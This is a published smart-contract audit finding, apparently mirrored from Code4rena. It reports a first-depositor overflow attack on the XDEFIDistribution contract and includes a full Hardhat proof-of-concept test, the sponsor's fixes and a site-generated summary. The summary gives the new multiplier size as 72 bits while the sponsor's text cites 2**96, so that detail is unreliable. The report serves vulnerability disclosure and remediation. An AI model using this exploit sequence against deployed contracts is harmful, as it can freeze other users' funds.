Malicious early user/attacker can malfunction the contract and even freeze users’ funds in edge cases
The contract's points-per-unit calculation could be manipulated by an early user locking a tiny amount, causing arithmetic overflow for later users and freezing funds. An attacker could lock 1 wei, then donate a large amount to inflate the points-per-unit, making future lock and unlock transactions fail.
In the current implementation, _pointsPerUnit can be changed in updateDistribution() which can be called by anyone.
A malicious early user can lock() with only 1 wei of XDEFI and makes _pointsPerUnit to be very large, causing future users not to be able to lock() and/or unlock() anymore due to overflow in arithmetic related to _pointsMultiplier.
As a result, the contract can be malfunctioning and even freeze users’ funds in edge cases.
Proof of Concept
Given:
bonusMultiplierOf[30 days] = 100
Alice lock()1 wei of XDEFI for 30 days as the first user of the contract. Got 1 units, and totalUnits now is 1;
Alice sends 170141183460469 wei of XDEFI to the contract and calls updateDistribution():
const { expect } = require("chai");
const { ethers } = require("hardhat");
const totalSupply = '240000000000000000000000000';
const toWei = (value, add = 0, sub = 0) => (BigInt(value) * 1_000_000_000_000_000_000n + BigInt(add) - BigInt(sub)).toString();
describe("XDEFIDistribution", () => {
it("Can overflow _pointsPerUnit", async () => {
const [god, alice, bob] = await ethers.getSigners();
const XDEFI = await (await (await ethers.getContractFactory("XDEFI")).deploy("XDEFI", "XDEFI", totalSupply)).deployed();
const XDEFIDistribution = await (await (await ethers.getContractFactory("XDEFIDistribution")).deploy(XDEFI.address, "https://www.xdefi.io/nfts/", 0)).deployed();
// Give each account 2,000,000 XDEFI
await (await XDEFI.transfer(alice.address, toWei(2_000_000))).wait();
await (await XDEFI.transfer(bob.address, toWei(2_000_000))).wait();
// bonusMultiplierOf[30 days] = 100
await (await XDEFIDistribution.setLockPeriods([2592000], [100])).wait();
// 1. Alice lock() 1 wei of XDEFI for 30 days as the first user of the contract. Got 1 units, and totalUnits now is 1;
await (await XDEFI.connect(alice).approve(XDEFIDistribution.address, 1)).wait();
await (await XDEFIDistribution.connect(alice).lock(1, 2592000, alice.address)).wait();
expect(await XDEFIDistribution.balanceOf(alice.address)).to.equal('1');
const nft1 = (await XDEFIDistribution.tokenOfOwnerByIndex(alice.address, 0)).toString();
expect((await XDEFIDistribution.positionOf(nft1)).units).to.equal(1);
// 2. Alice sends 170141183460469 wei of XDEFI to the contract and calls updateDistribution()
await (await XDEFI.connect(alice).transfer(XDEFIDistribution.address, 170141183460469)).wait();
await (await XDEFIDistribution.connect(alice).updateDistribution()).wait();
// 3. Bob tries to lock() 1,100,000 * 1e18 of XDEFI for 30 days, the tx will fail, as _pointsPerUnit * units overflows
await (await XDEFI.connect(bob).approve(XDEFIDistribution.address, toWei(1_100_000))).wait();
await expect(XDEFIDistribution.connect(bob).lock(toWei(1_100_000), 2592000, bob.address)).to.be.revertedWith("_toInt256Safe failed");
// 4. Bob lock() 1,000,000 * 1e18 of XDEFI for 30 days
await (await XDEFI.connect(bob).approve(XDEFIDistribution.address, toWei(1_000_000))).wait();
await (await XDEFIDistribution.connect(bob).lock(toWei(1_000_000), 2592000, bob.address)).wait();
expect(await XDEFIDistribution.balanceOf(bob.address)).to.equal('1');
const nft2 = (await XDEFIDistribution.tokenOfOwnerByIndex(bob.address, 0)).toString();
expect((await XDEFIDistribution.positionOf(nft2)).units).to.equal(toWei(1_000_000));
// 5. The rewarder sends 250,000 * 1e18 of XDEFI to the contract and calls updateDistribution()
await (await XDEFI.transfer(XDEFIDistribution.address, toWei(250_000))).wait();
await (await XDEFIDistribution.updateDistribution()).wait();
// 6. 30 days later, Bob tries to call unlock(), the tx will fail, as _pointsPerUnit * units overflows.
await hre.ethers.provider.send('evm_increaseTime', [2592000]);
await expect(XDEFIDistribution.connect(bob).unlock(nft2, bob.address)).to.be.revertedWith("_toInt256Safe failed");
});
});
While I do like the suggestion to to totalUnits = 100_000_000; in the constructor, it will result “uneven” numbers due to the totalUnits offset. I wonder if I can resolve this but just reducing _pointsMultiplier to uint256(2**96) as per https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728.
Also, a minimum units locked is enforced, to prevent “dust” from creating a very very high _pointsPerUnit.
Tests were written in order to stress test the contract against the above extreme cases.
Further, a “no-going-back” emergency mode setter was implemented that allows (but does not force) users to withdraw only their deposits without any of the funds distribution math from being expected, in the event that some an edge case does arise.
fantastic finding, agreed with the proposed severity!
The sponsor fixes seem adequate: a lower _poinsMultiplier, a minimum lock and an emergency mode that disables reward math, somewhat similar to emergency withdraw functions in contracts like masterchef.
The original report as published on Code4rena, by WatchPug. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
Likely the lack of a minimum initial deposit or a cap on the points multiplier allows an attacker to inflate the points-per-unit value to a level where multiplications overflow.
Impact
The contract can malfunction and even freeze users' funds in edge cases.
What the attacker needed
Attacker is first user; attacker can lock 1 wei; attacker can send tokens to contract
The fix
The fix was to reduce the points multiplier to 72 bits, enforce a minimum lock amount, and add an emergency mode allowing users to withdraw only their deposits.
How it was found
Alice locks 1 wei of XDEFI for 30 days as the first user, receiving 1 unit.
Alice sends a large amount of XDEFI to the contract and calls updateDistribution(), inflating _pointsPerUnit.
Bob tries to lock a large amount but the transaction fails due to overflow.
Bob locks a smaller amount successfully.
The rewarder sends more XDEFI and calls updateDistribution(), further inflating _pointsPerUnit.
After 30 days, Bob tries to unlock but the transaction fails due to overflow.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
This is a smart contract bug where the first person to use a system can set a value very high by depositing a tiny amount and then adding a large donation. Later users then try to do normal actions, but the maths overflows and their transactions fail, locking their money.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.